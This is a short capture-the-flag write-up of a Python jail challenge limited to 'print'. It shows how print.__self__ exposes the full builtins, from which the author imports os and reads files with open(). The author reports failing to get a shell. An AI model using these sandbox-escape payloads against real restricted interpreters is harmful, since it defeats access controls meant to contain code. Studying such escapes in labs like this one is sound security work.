Small

So, in this challenge the first thing I noticed that the word count was 42 and the builtin function is restricted to print.

So, my initial step was to try

```
print(1)
1
```

and it worked, so I thought about using the print statements.

Then after trying a lot of combinations, I came up with one of the combinations

```
print(print.__dir__())
['__repr__', '__hash__', '__call__', '__getattribute__', '__lt__', '__le__',
'__eq__', '__ne__', '__gt__', '__ge__', '__reduce__', '__module__', '__doc__',
'__name__', '__qualname__', '__self__', '__text_signature__', '__new__',
'__str__', '__setattr__', '__delattr__', '__init__', '__reduce_ex__',
'__getstate__', '__subclasshook__', '__init_subclass__', '__format__',
'__sizeof__', '__dir__', '__class__']
```

now, I think I get more information about more builtins

As, you can see there is **self** in the list, I went around in the internet and found out old cft write up and watched videos, and also after bruteforcing all the objects like class, base, hash etc. I was mainly looking which one gives me more builtins that I can possibly execute. And voila, **self** gave me all that I needed. It had important builtins, I used this command to get a look of all that I needed.

```
print(print.__self__.__dir__())
```

```
['__name__', '__doc__', '__package__', '__loader__', '__spec__',
'__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin',
'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval',
'exec', 'format', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', 'input',
'isinstance', 'issubclass', 'iter', 'aiter', 'len', 'locals', 'max', 'min',
'next', 'anext', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr',
```

```
'sorted', 'sum', 'vars', 'None', 'Ellipsis', 'NotImplemented', 'False', 'True',
'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict',
'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map',
'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super',
'tuple', 'type', 'zip', '__debug__', 'BaseException', 'BaseExceptionGroup',
'Exception', 'GeneratorExit', 'KeyboardInterrupt', 'SystemExit',
'ArithmeticError', 'AssertionError', 'AttributeError', 'BufferError', 'EOFError',
'ImportError', 'LookupError', 'MemoryError', 'NameError', 'OSError',
'ReferenceError', 'RuntimeError', 'StopAsyncIteration', 'StopIteration',
'SyntaxError', 'SystemError', 'TypeError', 'ValueError', 'Warning',
'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'BytesWarning',
'DeprecationWarning', 'EncodingWarning', 'FutureWarning', 'ImportWarning',
'PendingDeprecationWarning', 'ResourceWarning', 'RuntimeWarning', 'SyntaxWarning',
'UnicodeWarning', 'UserWarning', 'BlockingIOError', 'ChildProcessError',
'ConnectionError', 'FileExistsError', 'FileNotFoundError', 'InterruptedError',
'IsADirectoryError', 'NotADirectoryError', 'PermissionError',
'ProcessLookupError', 'TimeoutError', 'IndentationError', 'IndexError',
'KeyError', 'ModuleNotFoundError', 'NotImplementedError', 'RecursionError',
'UnboundLocalError', 'UnicodeError', 'BrokenPipeError', 'ConnectionAbortedError',
'ConnectionRefusedError', 'ConnectionResetError', 'TabError',
'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeTranslateError',
'ExceptionGroup', 'EnvironmentError', 'IOError', 'open', 'quit', 'exit',
'copyright', 'credits', 'license', 'help']
```

So, when I saw import I tried importing the os module and I was successful.

I came up with this

```
 print(print.__self__.__import__('os'))
<module 'os' (frozen)>
```

so, now I think I can import the os module, and from here I think it is kinda approachable

After a lot of trying and using all the modules, I failed to actually leverage the os module and import the system command.

But I was able to use the open command and display file contents using the command

```
print(print.__self__.open('n.txt').read())
new
```

I made a file named `n.txt` and wrote just a line new and it worked.

I cannot possibly open a shell, pretty disappointed but it is what it is.

Done.